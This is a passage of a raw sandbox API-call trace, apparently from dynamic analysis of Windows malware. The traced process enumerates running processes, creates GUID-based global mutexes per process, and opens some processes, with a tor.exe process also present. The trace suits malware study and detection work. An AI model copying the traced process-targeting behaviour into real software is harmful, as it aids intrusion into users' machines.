out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="wines-fix-hopefully-analyzed.exe")) returned 1 [0119.742] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="lovers_voices_chicks.exe")) returned 1 [0119.746] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="cool rev connection ranger.exe")) returned 1 [0119.751] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psychiatrychip.exe")) returned 1 [0119.756] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delivers_launches_tagged_antique.exe")) returned 1 [0119.758] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pp availability.exe")) returned 1 [0119.759] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pdtdifficultrolandddr.exe")) returned 1 [0119.760] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="falls.exe")) returned 1 [0119.761] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="slightly dentists modified.exe")) returned 1 [0119.762] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="switchconventionspeppercovered.exe")) returned 1 [0119.762] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="statutes_slow_determines_ciao.exe")) returned 1 [0119.763] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psp.exe")) returned 1 [0119.764] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="anonymous.exe")) returned 1 [0119.765] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="concept_nor_works_holder.exe")) returned 1 [0119.766] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0119.766] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="OSPPSVC.EXE")) returned 1 [0119.767] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x934, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0119.768] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0119.769] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0119.770] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0119.770] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0119.771] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x840, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0119.772] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0119.773] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x65c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="msiexec.exe")) returned 1 [0119.774] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0119.774] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x6cc [0119.774] GetLastError () returned 0xb7 [0119.774] CloseHandle (hObject=0x6cc) returned 1 [0119.774] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x65c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tor.exe")) returned 1 [0119.783] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x65c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tor.exe")) returned 0 [0119.784] CloseHandle (hObject=0x56c) returned 1 [0119.785] WaitForSingleObject (hHandle=0x67c, dwMilliseconds=0x64) returned 0x102 [0119.894] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x56c [0119.896] Process32FirstW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0119.897] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0119.898] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0119.899] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0119.900] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0119.900] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0119.901] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0119.902] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0119.903] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0119.904] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0119.905] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0119.906] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0119.906] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0119.907] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0119.908] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x354, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0119.909] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0119.910] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0119.911] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x160, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0119.912] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0119.912] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0119.913] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0119.914] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0119.914] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x6cc [0119.914] GetLastError () returned 0xb7 [0119.914] CloseHandle (hObject=0x6cc) returned 1 [0119.914] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x318, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0119.915] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0119.915] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x6cc [0119.915] GetLastError () returned 0xb7 [0119.915] CloseHandle (hObject=0x6cc) returned 1 [0119.915] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x550, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0119.916] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0119.917] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0119.917] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x6cc [0119.917] GetLastError () returned 0x0 [0119.917] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0119.917] CloseHandle (hObject=0x6cc) returned 1 [0119.917] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0119.918] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0119.918] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x6cc [0119.918] GetLastError () returned 0x0 [0119.918] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0119.918] CloseHandle (hObject=0x6cc) returned 1 [0119.918] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0119.919] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0119.919] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x6cc [0119.919] GetLastError () returned 0xb7 [0119.919] CloseHandle (hObject=0x6cc) returned 1 [0119.919] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0119.920] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x5e, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0x9b, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 39 [0119.920] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 0x6cc [0119.920] GetLastError () returned 0x0 [0119.920] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x78c) returned 0x0 [0119.920] CloseHandle (hObject=0x6cc) returned 1 [0119.920] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospectssayspotteryamplifier.exe")) returned 1 [0119.921] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="combinations-bits-tape.exe")) returned 1 [0119.922] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delicious_sale.exe")) returned 1 [0119.923] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="friendly.exe")) returned 1 [0119.924] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reveal-salaries-mandate.exe")) returned 1 [0119.924] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x628, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="catalogvidsmoreoverrail.exe")) returned 1 [0119.926] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="sri-gods.exe")) returned 1 [0119.927] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="wines-fix-hopefully-analyzed.exe")) returned 1 [0119.927] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="lovers_voices_chicks.exe")) returned 1 [0119.928] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="cool rev connection ranger.exe")) returned 1 [0119.929] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psychiatrychip.exe")) returned 1 [0119.930] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delivers_launches_tagged_antique.exe")) returned 1 [0119.931] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pp availability.exe")) returned 1 [0119.932] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pdtdifficultrolandddr.exe")) returned 1 [0119.932] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="falls.exe")) returned 1 [0119.933] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: 